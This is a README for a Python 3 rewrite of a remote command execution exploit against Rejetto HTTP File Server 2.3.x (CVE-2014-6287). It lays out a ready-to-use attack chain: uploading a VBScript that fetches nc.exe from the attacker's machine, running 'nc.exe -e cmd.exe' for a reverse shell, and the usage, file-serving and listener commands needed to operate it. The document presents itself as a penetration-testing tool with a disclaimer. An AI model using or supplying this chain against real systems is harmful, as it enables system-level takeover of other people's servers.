HFS Remote Command Execution Exploit (CVE-2014-6287)

This is a Python 3 rewrite of the classic Remote Command Execution (RCE) exploit targeting Rejetto HTTP File Server (HFS) v2.3.x, leveraging the vulnerability identified as CVE-2014-6287.

Originally discovered by Avinash Kumar Thapa aka "-Acid", this version improves portability and usability, providing full parameterization and modern compatibility.

⚠️ Disclaimer

This tool is provided exclusively for educational and authorized penetration testing purposes. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.

📌 Exploit Details

• Vulnerability: Rejetto HFS v2.3.x - Remote Command Execution
• CVE: CVE-2014-6287
• Impact: Remote code execution with system privileges
• Requirement: The target must be running a vulnerable version of HFS with scripting enabled.

🚀 Features

• Fully compatible with Python 3
• Accepts all key parameters via CLI:
  • Target IP and port
  • Local IP (attacker)
  • Listening port for reverse shell
  • Port used to host nc.exe
• No hardcoded values
• Classic nc.exe reverse shell delivery using VBScript
• Exploit flow:
  1. Upload a VBScript to download nc.exe
  2. Execute VBScript on target
  3. Run nc.exe -e cmd.exe to establish reverse shell

🛠️ Usage

python3 exploit.py <TARGET_IP> <TARGET_PORT> <LOCAL_IP> <LISTEN_LOCAL_PORT> <NC_DOWNLOAD_PORT>

Example:
python3 exploit.py 192.168.1.10 80 192.168.1.5 4444 8000

Requirements:
  - HTTP server serving nc.exe:
      python3 -m http.server 8000
  - Listener:
      nc -lvnp 4444